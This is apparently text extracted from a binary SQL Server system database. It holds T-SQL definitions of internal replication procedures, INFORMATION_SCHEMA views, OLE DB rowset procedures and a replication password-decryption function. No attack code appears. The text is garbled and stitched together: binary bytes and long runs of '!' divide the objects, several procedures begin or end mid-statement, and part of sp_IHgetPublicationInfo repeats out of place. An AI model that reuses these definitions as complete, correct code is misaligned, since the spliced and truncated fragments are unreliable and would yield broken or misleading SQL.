			AND ((@remotename IS NULL and remoteusername IS NULL) or remoteusername = @remotename) )
	BEGIN
		ROLLBACK TRAN
		raiserror(15185,-1,-1,@remotename,@loginame,@remoteserver)
		return (1)
	END

	-- DROP REMOTE LOGIN --
	EXEC %%LinkedServer(Name=@remoteserver).RemoveRemoteLogin( RemoteName = @remotename )

	-- SUCCESS --
	COMMIT TRAN
	return (0)	-- sp_dropremotelogin
0o@ Z	8--
-- Name: sp_MSrepl_helpreplicationdboptionex
--
-- Descriptions: called on publishing db to determine
-- if the db has publications or pull subscriptions
-- used by sp_helpreplicationdboption when @reserved = 1
-- This SP assumes the existence of #replicationdbs
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: Internal
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSrepl_helpreplicationdboptionex
(
    @name sysname
    ,@transpublish bit
    ,@mergepublish bit
)
as
begin
    set nocount on
    declare @haspublication bit
                ,@haspullsubscriptions bit

    --
    -- look for ANY active publication
    --
    if (@transpublish = 1 and object_id(N'dbo.syspublications') is not null)
    begin
        if exists (select * from dbo.syspublications where status != 0)
            select @haspublication = 1 
    end
    if (isnull(@haspublication, 0) != 1 and @mergepublish = 1 and object_id(N'dbo.sysmergepublications') is not null)
    begin
        if exists (select * from dbo.sysmergepublications where status != 0 and UPPER(publisher) = UPPER(publishingservername()) and
                                                                                publisher_db = @name)
            select @haspublication = 1
    end
    --
    -- look for ANY pull subscription
    --
    if (object_id(N'dbo.MSreplication_subscriptions') is not null)
    begin
        if exists (select * from dbo.MSreplication_subscriptions where subscription_type = 1)
            select @haspullsubscriptions = 1 
    end
    if (isnull(@haspullsubscriptions, 0) != 1  and object_id(N'dbo.sysmergesubscriptions') is not null)
    begin
        if exists (select * from dbo.sysmergesubscriptions where UPPER(subscriber_server) = UPPER(@@SERVERNAME) and
                                                                            db_name = @name and subscription_type = 1)
            select @haspullsubscriptions = 1 
    end
    --
    -- updated table #replicationdbs
    --
    update #replicationdbs
    set haspublications = isnull(@haspublication, 0)
        ,haspullsubscriptions = isnull(@haspullsubscriptions, 0)
    where name = @name
    --
    -- all done
    --
    return 0
end
ma,
          @parameter_name) s_pp

    order by 2, 3, 5
0] D8&h&!0x 8
create procedure sys.sp_MSfixupdistributorinfo (
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @distributor sysname,
    @subscription_type int
    )
AS
    DECLARE @local_distributor sysname
    DECLARE @retcode INT

    -- If @distributor = @publisher
    -- we just assume that these values are unspecified 
    -- and so we inherit these values from other shared subscriptions
    -- if possible
    IF @distributor = @publisher
    BEGIN
        SELECT TOP 1 @local_distributor = sp.distributor
          FROM MSsubscription_properties sp
          JOIN MSreplication_subscriptions rs  
            ON UPPER(sp.publisher) = UPPER(rs.publisher)
           AND sp.publisher_db = rs.publisher_db
           AND rs.subscription_type = @subscription_type
           AND rs.independent_agent = 0
         WHERE UPPER(sp.publisher) = UPPER(@publisher)
           AND sp.publisher_db = @publisher_db
           AND sp.publication <> @publication
                      
        IF @@ROWCOUNT > 0
        BEGIN
           -- Inherit the values from other shared subscriptions
           UPDATE MSsubscription_properties SET 
            distributor = @local_distributor
            WHERE UPPER(publisher) = UPPER(@publisher)
              AND publisher_db = @publisher_db
              AND publication = @publication
        END  
    END
    ELSE
    BEGIN
        EXEC @retcode = sys.sp_MSupdatesharedagentproperties 
           @publisher = @publisher,
           @publisher_db = @publisher_db,
           @publication = @publication,
           @property = N'distributor',
           @strvalue = @distributor,
           @subscription_type = @subscription_type
        
        IF @retcode <> 0 OR @@ERROR <> 0
            GOTO FixupFailure
                                    
    END

    RETURN 0

FixupFailure:
    RETURN 1
 
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!t
		`<F	$g00p]@ 	8CREATE VIEW INFORMATION_SCHEMA.COLUMNS
AS
SELECT
	DB_NAME()									AS TABLE_CATALOG,
	SCHEMA_NAME(o.schema_id)						AS TABLE_SCHEMA,
	o.name										AS TABLE_NAME,
	c.name										AS COLUMN_NAME,
	COLUMNPROPERTY(c.object_id, c.name, 'ordinal')		AS ORDINAL_POSITION,
	convert(nvarchar(4000),
		OBJECT_DEFINITION(c.default_object_id))			AS COLUMN_DEFAULT,
	convert(varchar(3), CASE c.is_nullable
		WHEN 1 THEN 'YES' ELSE 'NO' END)			AS IS_NULLABLE,
	ISNULL(TYPE_NAME(c.system_type_id), t.name)		AS DATA_TYPE,
	COLUMNPROPERTY(c.object_id, c.name, 'charmaxlen')	AS CHARACTER_MAXIMUM_LENGTH,
	COLUMNPROPERTY(c.object_id, c.name, 'octetmaxlen')	AS CHARACTER_OCTET_LENGTH,
	convert(tinyint, CASE -- int/decimal/numeric/real/float/money
		WHEN c.system_type_id IN (48, 52, 56, 59, 60, 62, 106, 108, 122, 127) THEN c.precision
		END)										AS NUMERIC_PRECISION,
	convert(smallint, CASE	-- int/money/decimal/numeric
		WHEN c.system_type_id IN (48, 52, 56, 60, 106, 108, 122, 127) THEN 10
		WHEN c.system_type_id IN (59, 62) THEN 2 END)	AS NUMERIC_PRECISION_RADIX,	-- real/float
	convert(int, CASE	-- datetime/smalldatetime
		WHEN c.system_type_id IN (40, 41, 42, 43, 58, 61) THEN NULL
		ELSE ODBCSCALE(c.system_type_id, c.scale) END)	AS NUMERIC_SCALE,
	convert(smallint, CASE -- datetime/smalldatetime
		WHEN c.system_type_id IN (40, 41, 42, 43, 58, 61) THEN ODBCSCALE(c.system_type_id, c.scale) END)	AS DATETIME_PRECISION,
	convert(sysname, null)					AS CHARACTER_SET_CATALOG,
	convert(sysname, null) collate catalog_default	AS CHARACTER_SET_SCHEMA,
	convert(sysname, CASE
		WHEN c.system_type_id IN (35, 167, 175)	-- char/varchar/text
			THEN COLLATIONPROPERTY(c.collation_name, 'sqlcharsetname')
		WHEN c.system_type_id IN (99, 231, 239)	-- nchar/nvarchar/ntext
			THEN N'UNICODE'
		END)						AS CHARACTER_SET_NAME,
	convert(sysname, null)				AS COLLATION_CATALOG,
	convert(sysname, null) collate catalog_default		AS COLLATION_SCHEMA,
	c.collation_name					AS COLLATION_NAME,
	convert(sysname, CASE WHEN c.user_type_id > 256
		THEN DB_NAME() END)			AS DOMAIN_CATALOG,
	convert(sysname, CASE WHEN c.user_type_id > 256
		THEN SCHEMA_NAME(t.schema_id)
		END)						AS DOMAIN_SCHEMA,
	convert(sysname, CASE WHEN c.user_type_id > 256  
		THEN TYPE_NAME(c.user_type_id)
		END)						AS DOMAIN_NAME
FROM
	sys.objects o JOIN sys.columns c ON c.object_id = o.object_id
	LEFT JOIN sys.types t ON c.user_type_id = t.user_type_id
WHERE
	o.type IN ('U', 'V')
0nyf Z8--
-- Name: 
--	fn_repldecryptver4
-- 
-- Description: 
--	This function accepts an encrypted password as input 
--	and decrypts the value using the server provided crypto 
--	based on the master key created in the local database. 
--	If it detects that the logged on user is not DBO or that
--	the password has not been encrypted using the server dpapi
--	then the original password input is returned.
--
-- Parameters: 
--	See the procedure definition.
--
-- Returns: 
--	0 - On Success
--	1 - On Failure
--
-- Result: 
--	None
--
-- Security: 
--	DBO (func is public because snapshot agent calls it)
--
CREATE FUNCTION sys.fn_repldecryptver4 
(
	@password nvarchar(524)
)
RETURNS nvarchar(524)
AS
BEGIN
	-- if we are dbo and the encryption on the password
	-- is version 4 then we will decrypt using the cert
	IF IS_MEMBER('db_owner') = 1
		AND sys.fn_replencryptversion(@password) = 4
		AND EXISTS(SELECT *
					FROM sys.symmetric_keys 
					WHERE name = '##MS_DatabaseMasterKey##')
		AND EXISTS(SELECT *
					FROM sys.symmetric_keys 
					WHERE name = 'SQLSERVER_REPLICATION')
	BEGIN
    	SELECT @password = CONVERT(nvarchar(524), DECRYPTBYKEYAUTOCERT(CERT_ID('SQLSERVER_REPLICATION'), NULL, CONVERT(varbinary(4000), RIGHT(@password, LEN(@password) - 4))))
	END

	RETURN @password
END
07c@ F8
create procedure sys.sp_MSgetlastsentrecgens
    (@repid uniqueidentifier)
as
    declare @retcode    int

    if (@repid is null)
        begin
            RAISERROR(14043, 16, -1, '@repid', 'sp_MSgetlastsentrecgens')
            return (1)
        end

    /*
    ** do permission checking
    */
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @repid = @repid
    if @retcode<>0 or @@ERROR<>0 return (1)
        
    select sentgen, sentguid, recgen, recguid from dbo.sysmergesubscriptions where subid = @repid
    return (0)
0e@ 8create procedure sys.sp_MScheck_article_auto_identity
    @artid uniqueidentifier,
    @objid int output,
    @qualified_table_name nvarchar(517) output
as
    declare @identity_support int
    declare @artname sysname
    declare @ident_increment numeric(38,0)
    declare @artidstr nvarchar(36)

    select @artidstr = convert(nvarchar(36), @artid)
    select @objid = NULL
    
    select @artname = name, @objid=objid, @identity_support=identity_support from dbo.sysmergearticles where artid=@artid
    if @objid is NULL
    begin
        RAISERROR(20669 , 16, -1, @artidstr)
        return (1)
    end

    select @qualified_table_name = NULL
    exec sys.sp_MSget_qualified_name @objid, @qualified_table_name output
    if @qualified_table_name is NULL
    begin
        RAISERROR(20669 , 16, -1, @artidstr)
        return (1)
    end
    
    if @identity_support=0
    begin
        raiserror(20667, 16, -1, @artname)
        return 1
    end
    
    select @ident_increment = IDENT_INCR(@qualified_table_name)
    if @ident_increment is NULL
    begin
        RAISERROR(21756, 16, -1, @qualified_table_name)
        return (1)
    end
    
    return 0
!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!=
`0
<v%51Ac0R 8
create procedure sys.sp_foreign_keys_rowset2
(
    @foreignkey_tab_name    sysname,
    @foreignkey_tab_schema  sysname = null,
    @pk_table_name          sysname = null,
    @pk_table_schema        sysname = null,
    @pk_table_catalog       sysname = null
)
as
    select
--        PK_TABLE_CATALOG    = db_name(r.rkeydbid),
        PK_TABLE_CATALOG    = db_name(),
        PK_TABLE_SCHEMA     = schema_name(o1.schema_id),
        PK_TABLE_NAME       = o1.name,
        PK_COLUMN_NAME      = c1.name,
        PK_COLUMN_GUID      = convert(uniqueidentifier,null),
        PK_COLUMN_PROPID    = convert(int,null),
--        FK_TABLE_CATALOG    = db_name(r.fkeydbid),
        FK_TABLE_CATALOG    = db_name(),
        FK_TABLE_SCHEMA     = schema_name(o2.schema_id),
        FK_TABLE_NAME       = o2.name,
        FK_COLUMN_NAME      = c2.name,
        FK_COLUMN_GUID      = convert(uniqueidentifier,null),
        FK_COLUMN_PROPID    = convert(int,null),
        ORDINAL             = convert(int,k.constraint_column_id),
--        UPDATE_RULE         = CASE ObjectProperty(r.constid, 'CnstIsUpdateCascade')
        UPDATE_RULE         = CASE r.update_referential_action
                              WHEN 1 THEN N'CASCADE'
                              WHEN 2 THEN N'SET NULL'
                              WHEN 3 THEN N'SET DEFAULT'
                              ELSE        N'NO ACTION'
                              END,
--        DELETE_RULE         = CASE ObjectProperty(r.constid, 'CnstIsDeleteCascade')
        DELETE_RULE         = CASE r.delete_referential_action
                              WHEN 1 THEN N'CASCADE'
                              WHEN 2 THEN N'SET NULL'
                              WHEN 3 THEN N'SET DEFAULT'
                              ELSE        N'NO ACTION'
                              END,
        PK_NAME             = i.name,
--        FK_NAME             = object_name(r.constid),
        FK_NAME             = object_name(r.object_id),
        DEFERRABILITY       = convert(smallint, 3) -- DBPROPVAL_DF_NOT_DEFERRABLE
    from
        sys.all_objects o1, -- ISSUE - PERF - do inner joins here instead of old join in where clause !!!
        sys.all_objects o2, -- ISSUE - PERF - do inner joins here instead of old join in where clause !!!
        sys.all_columns c1,
        sys.all_columns c2,

--        sysreferences r,
        sys.foreign_keys r inner join
        sys.foreign_key_columns k on (k.constraint_object_id = r.object_id) inner join
        sys.indexes i on (r.referenced_object_id = i.object_id and r.key_index_id = i.index_id)
    where
            (@pk_table_catalog is null       or @pk_table_catalog = db_name())
        and (@pk_table_name    is null       or @pk_table_name = o1.name)                         -- ISSUE - PERF - Do check against object_id, not against the names !!!
        and (@pk_table_schema  is null       or @pk_table_schema = schema_name(o1.schema_id))  -- ISSUE - PERF - Do check against object_id, not against the names !!!
        and (                                   @foreignkey_tab_name = o2.name)                         -- ISSUE - PERF - Do check against object_id, not against the names !!!
        and (@foreignkey_tab_schema  is null or @foreignkey_tab_schema = schema_name(o2.schema_id))  -- ISSUE - PERF - Do check against object_id, not against the names !!!

        and
        o1.object_id = r.referenced_object_id and
        o1.object_id = c1.object_id and
        c1.column_id = k.referenced_column_id and
        o2.object_id = r.parent_object_id and
        o2.object_id = c2.object_id and
        c2.column_id = k.parent_column_id
    order by 8,9,2,3,13
02 {8
--
-- Name:    
--          sp_IHgetPublicationInfo
--          
-- Description: 
--          HREPL helper proc to gather publication properties
--  
-- Security: 
--          Internal
-- Requires Certificate signature for catalog access
--
-- Returns:
--          Success/Failure + output property values
--      
-- Owner:   
--          <current owner> 

CREATE PROCEDURE sys.sp_IHgetPublicationInfo
(
	@publisher				sysname, 
	@publication			sysname,
	@publication_id			int	OUTPUT,
	@autogen_sync_procs_id	bit OUTPUT,
	@sync_method			tinyint	OUTPUT,
	@allow_sync_tran		bit OUTPUT,
	@allow_queued_tran		bit	OUTPUT,
	@allow_dts				bit OUTPUT,
	@repl_freq				tinyint OUTPUT,
	@hr_admin				sysname = NULL OUTPUT
)
AS
BEGIN
	Set NOCOUNT ON
	
	DECLARE @retcode int

	-- Parameter check: publication
	exec @retcode = sys.sp_MSreplcheck_name @publication, '@publication', 'sp_IHgetPublicationInfo'
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

	-- Parameter check: publisher
    IF @publisher IS NULL
	BEGIN
		RAISERROR (14043, 16, -1, '@publisher', 'sp_IHgetPublicationInfo')
		RETURN (1)
	END

	SELECT	@publication_id			= ihp.pubid,
			@autogen_sync_procs_id	= ihp.autogen_sync_procs, 
			@sync_method			= ihp.sync_method,
			@allow_sync_tran		= ihp.allow_sync_tran,
			@allow_queued_tran		= ihp.allow_queued_tran,
			@allow_dts				= ihp.allow_dts,
			@repl_freq				= ihp.repl_freq,
			@hr_admin				= msdp.login
	FROM	IHpublications ihp,
			MSpublications msp,
			master.dbo.sysservers srv,
			msdb.dbo.MSdistpublishers msdp
	WHERE 	ihp.pubid				= msp.publication_id
	  AND	msp.publisher_id		= srv.srvid
	  AND	msdp.name				= srv.srvname
	  AND	ihp.name				= @publication
	  AND	UPPER(srv.srvname collate database_default)		= UPPER(@publisher) collate database_default

	IF @@ERROR <> 0
		RETURN (1)
END
0h@ 8
create procedure sys.sp_MSget_dynamic_filters_function_list (
        @publication sysname,
        @functionlist nvarchar(500) OUTPUT) as
begin
    declare @retcode int
    exec @retcode = sys.sp_MScheck_dynamic_filters 
                        @publication = @publication, 
                        @can_use_partition_groups = NULL,
                        @has_dynamic_filters = NULL,
                        @dynamic_filters_function_list = @functionlist output,
                        @validate_subscriber_info = NULL,                        
                        @uses_host_name = NULL,
                        @uses_suser_sname = NULL
    if @@error <> 0 or @retcode <> 0
        return 1
end
s.sp_MSreplcheck_name @publication, '@publication', 'sp_IHgetPublicationInfo'
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

	-- Parameter check: publisher
    IF @publisher IS NULL
	BEGIN
		RAISERROR (14043, 16, -1, '@publisher', 'sp_IHgetPublicationInfo')
		RETURN (1)
	END

	SELECT	@publication_id			= ihp.pubid,
			@autogen_sync_procs_id	= ihp.autogen_sync_procs, 
			@sync_method			= ihp.sync_method,
			@allow_sync_tran		= ihp.allow_sync_tran,
			@allow_queued_tran		= ihp.allow_queued_tran,
			@allow_dts				= ihp.allow_dts,
			@repl_freq				= ihp.repl_freq,
			@hr_admin				= msdp.login
	FROM	IHpublications ihp,
			MSpublications msp,
			master.dbo.sysservers srv,
			msdb.dbo.MSdistpublishers msdp
	WHERE 	ihp.pubid				= msp.publication_id
	  AND	msp.publisher_id		= srv.srvid
	  AND	msdp.name				= srv.srvname
	  AND	ihp.name				= @publication
	  AND	UPPER(srv.srvname collate database_default)		= UPPER(@publisher) collate database_default

	IF @@ERROR <> 0
		RETURN (1)
END
ndependent agent publications
    if @publication is null or @publication = ''
        set @publication = 'ALL'

    select attach_state, attach_version from MSsubscription_agents
        where UPPER(publisher) = UPPER(@publisher)
            and publisher_db =  @publisher_db
            and publication = @publication
            and subscription_type = @subscription_type
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!-`'<'&P07@ '8create proc sys.sp_fulltext_semantic_register_language_statistics_db
	@dbname sysname
as
begin
	set nocount	on
	declare @returncode int
	EXEC @returncode = sys.sp_fulltext_semantic_register_language_statistics_db_internal @dbname
	return @returncode
end
05u@ D8~qh{ y0K٣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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`&<f'F):0N@ 8CREATE VIEW INFORMATION_SCHEMA.DOMAINS
AS
SELECT
	DB_NAME()					AS DOMAIN_CATALOG,
	SCHEMA_NAME(schema_id)		AS DOMAIN_SCHEMA,
	name						AS DOMAIN_NAME,
	TYPE_NAME(system_type_id) 	AS DATA_TYPE,
	convert(int, TypePropertyEx(user_type_id, 'charmaxlen'))	AS CHARACTER_MAXIMUM_LENGTH,
	convert(int, TypePropertyEx(user_type_id, 'octetmaxlen'))	AS CHARACTER_OCTET_LENGTH,
	convert(sysname, null)			AS COLLATION_CATALOG,
	convert(sysname, null) collate catalog_default		AS COLLATION_SCHEMA,
	collation_name				AS COLLATION_NAME,
	convert(sysname, null)			AS CHARACTER_SET_CATALOG,
	convert(sysname, null) collate catalog_default		AS CHARACTER_SET_SCHEMA,
	convert(sysname, CASE
		WHEN system_type_id IN (35, 167, 175) THEN SERVERPROPERTY('sqlcharsetname') -- char/varchar/text
		WHEN system_type_id IN (99, 231, 239) THEN N'UNICODE' END) AS CHARACTER_SET_NAME,		-- nchar/nvarchar/ntext
	convert(tinyint, CASE -- int/decimal/numeric/real/float/money
		WHEN system_type_id IN (48, 52, 56, 59, 60, 62, 106, 108, 122, 127) THEN precision
		END)									AS NUMERIC_PRECISION,
	convert(smallint, CASE	-- int/money/decimal/numeric
		WHEN system_type_id IN (48, 52, 56, 60, 106, 108, 122, 127) THEN 10
		WHEN system_type_id IN (59, 62) THEN 2 END)	AS NUMERIC_PRECISION_RADIX,
	convert(int, CASE	-- datetime/smalldatetime
		WHEN system_type_id IN (40, 41, 42, 43, 58, 61) THEN NULL
		ELSE ODBCSCALE(system_type_id, scale) END)	AS NUMERIC_SCALE,
	convert(smallint, CASE -- datetime/smalldatetime
		WHEN system_type_id IN (40, 41, 42, 43, 58, 61) THEN  ODBCSCALE(system_type_id, scale) END)	AS DATETIME_PRECISION,
	convert(nvarchar(4000),
		OBJECT_DEFINITION(default_object_id))			AS DOMAIN_DEFAULT
FROM
	sys.types
WHERE
	user_type_id > 256	-- UDT
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<;(mM(bK0U $8
create procedure sys.sp_indexes_90_rowset
(
    @table_name     sysname,
    @index_name     sysname = null,
    @table_schema   sysname = null
)
as
    select
        TABLE_CATALOG       = s_iv.TABLE_CATALOG,
        TABLE_SCHEMA        = s_iv.TABLE_SCHEMA,
        TABLE_NAME          = s_iv.TABLE_NAME,
        INDEX_CATALOG       = s_iv.INDEX_CATALOG,
        INDEX_SCHEMA        = s_iv.INDEX_SCHEMA,
        INDEX_NAME          = s_iv.INDEX_NAME,
        PRIMARY_KEY         = s_iv.PRIMARY_KEY,
        [UNIQUE]            = s_iv.[UNIQUE],
        [CLUSTERED]         = s_iv.[CLUSTERED],
        [TYPE]              = s_iv.[TYPE],
        FILL_FACTOR         = s_iv.FILL_FACTOR,
        INITIAL_SIZE        = s_iv.INITIAL_SIZE,
        NULLS               = s_iv.NULLS,
        SORT_BOOKMARKS      = s_iv.SORT_BOOKMARKS,
        AUTO_UPDATE         = s_iv.AUTO_UPDATE,
        NULL_COLLATION      = s_iv.NULL_COLLATION,
        ORDINAL_POSITION    = s_iv.ORDINAL_POSITION,
        COLUMN_NAME         = s_iv.COLUMN_NAME,
        COLUMN_GUID         = s_iv.COLUMN_GUID,
        COLUMN_PROPID       = s_iv.COLUMN_PROPID,
        [COLLATION]         = s_iv.[COLLATION],
        CARDINALITY         = s_iv.CARDINALITY,
        PAGES               = s_iv.PAGES,
        FILTER_CONDITION    = s_iv.FILTER_CONDITION,
        INTEGRATED          = s_iv.INTEGRATED,
        STATUS              = s_iv.STATUS

    from
        sys.spt_indexes_view s_iv

    where
        (
            (@table_schema is null and s_iv.TABLE_NAME = @table_name) or
            object_id(quotename(@table_schema) + '.' + quotename(@table_name)) = s_iv.object_id
        ) and
        (@index_name is null or @index_name = s_iv.INDEX_NAME)

    order by 8, 10, 4, 5, 6, 17
0L v8
create procedure sys.sp_tables_info_90_rowset_64
(
    @table_name     sysname,
    @table_schema   sysname = null,
    @table_type     nvarchar(255) = null
)
as
    select
        TABLE_CATALOG           = s_tiv.TABLE_CATALOG,
        TABLE_SCHEMA            = s_tiv.TABLE_SCHEMA,
        TABLE_NAME              = s_tiv.TABLE_NAME,
        TABLE_TYPE              = s_tiv.TABLE_TYPE,
        TABLE_GUID              = s_tiv.TABLE_GUID,
        BOOKMARKS               = s_tiv.BOOKMARKS,
        BOOKMARK_TYPE           = s_tiv.BOOKMARK_TYPE,
        BOOKMARK_DATATYPE       = convert(smallint, 21), --DBTYPE_UI8
        BOOKMARK_MAXIMUM_LENGTH = convert(int, 8),
        BOOKMARK_INFORMATION    = s_tiv.BOOKMARK_INFORMATION,
        TABLE_VERSION           = s_tiv.TABLE_VERSION,
        CARDINALITY             = s_tiv.CARDINALITY,
        DESCRIPTION             = s_tiv.DESCRIPTION,
        TABLE_PROPID            = s_tiv.TABLE_PROPID,
        TABLE_FLAGS             = s_tiv.TABLE_FLAGS
    from
        sys.spt_tables_info_view s_tiv
    where
        (
            (@table_schema is null and s_tiv.TABLE_NAME = @table_name) or
            object_id(quotename(@table_schema) + '.' + quotename(@table_name)) = s_tiv.object_id
        ) and
        (@table_type is null or @table_type = s_tiv.TABLE_TYPE)
    order by 4, 2, 3
0@ 8create procedure sys.sp_user_counter7 @newvalue int as
dbcc setinstance ('SQLServer:User Settable', 'Query', 'User counter 7', @newvalue)
0@ 8CREATE PROCEDURE sys.sp_MSmarkreinit
(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @subscriber sysname,       
    @subscriber_db sysname,
    @reset_reinit	int
)
AS
begin
    set nocount on

    -- This proc is used to mark the status in MSmerge_subscriptions and this status 
    -- is used to prevent expiry of <= 80 subscribers when they are marked for reinit
    -- This proc is a security threat becuase any user with PAL access can set this staus 
    -- and influence the expiry of any arbitrary subscriber. Therefore, this proc is a no-op 
    -- in 90 and 80 & less subscribers who are marked for reinit will be expired as usual
end    	
09W@ 08create procedure sys.sp_MSconflicttableexists 
    @pubid uniqueidentifier,
    @artid uniqueidentifier,
    @exists int output
as
    declare @retcode int
    declare @tablename sysname
    declare @ownername sysname
    declare @qualified_tablename nvarchar(270)
    
    EXEC @retcode = dbo.sp_MSreplcheck_subscribe
    if @@ERROR <> 0 or @retcode <> 0 return(1)


    set @exists= 0
    
    select top 1 @tablename= conflict_table,
                 @ownername= destination_owner
         from dbo.sysmergearticles where pubid=@pubid and artid=@artid

    if @@error<>0 return 1

    if @tablename is not null
    begin
        if @ownername is null
        begin
            set @qualified_tablename= quotename(@tablename)
        end
        else
        begin
            set @qualified_tablename= quotename(@ownername) + '.' + quotename(@tablename)
        end

